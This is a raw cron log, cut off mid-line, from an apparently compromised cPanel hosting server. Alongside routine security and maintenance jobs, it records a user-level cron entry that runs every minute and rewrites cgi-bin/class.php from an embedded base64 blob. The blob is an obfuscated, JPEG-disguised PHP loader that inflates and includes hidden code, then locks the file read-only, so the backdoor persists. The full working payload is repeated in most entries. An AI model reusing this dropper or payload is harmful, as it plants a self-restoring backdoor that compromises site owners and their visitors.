Sep  6 07:00:01 server CROND[13522]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 07:00:01 server CROND[13520]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 07:01:01 server CROND[14433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:01:01 server CROND[14435]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:01:01 server CROND[14434]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 07:01:01 server CROND[14436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:01:01 server run-parts(/etc/cron.hourly)[14434]: starting 0anacron
Sep  6 07:01:01 server run-parts(/etc/cron.hourly)[14452]: finished 0anacron
Sep  6 07:02:01 server CROND[14836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:02:01 server CROND[14837]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:02:01 server CROND[14835]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:03:01 server CROND[15215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:03:01 server CROND[15216]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:03:01 server CROND[15217]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:04:01 server CROND[15605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:04:01 server CROND[15607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:04:01 server CROND[15606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:05:01 server CROND[16095]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 07:05:01 server CROND[16097]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 07:05:01 server CROND[16101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:05:01 server CROND[16103]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 07:05:01 server CROND[16105]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 07:05:01 server CROND[16106]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 07:05:01 server CROND[16104]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:05:01 server CROND[16102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:06:01 server CROND[16946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:06:01 server CROND[16947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:06:01 server CROND[16948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:07:01 server CROND[17340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:07:01 server CROND[17341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:07:01 server CROND[17342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:08:01 server CROND[17726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:08:01 server CROND[17725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:08:01 server CROND[17727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:09:01 server CROND[18106]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:09:01 server CROND[18107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:09:01 server CROND[18108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:09:01 server CROND[18109]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 07:10:01 server CROND[18492]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 07:10:01 server CROND[18494]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 07:10:01 server CROND[18497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:10:01 server CROND[18504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:10:01 server CROND[18513]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 07:10:01 server CROND[18512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:10:01 server CROND[18515]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 07:10:01 server CROND[18514]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 07:11:01 server CROND[19454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:11:01 server CROND[19455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:11:01 server CROND[19456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:12:02 server CROND[19832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:12:02 server CROND[19833]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:12:02 server CROND[19831]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 07:12:02 server CROND[19834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLc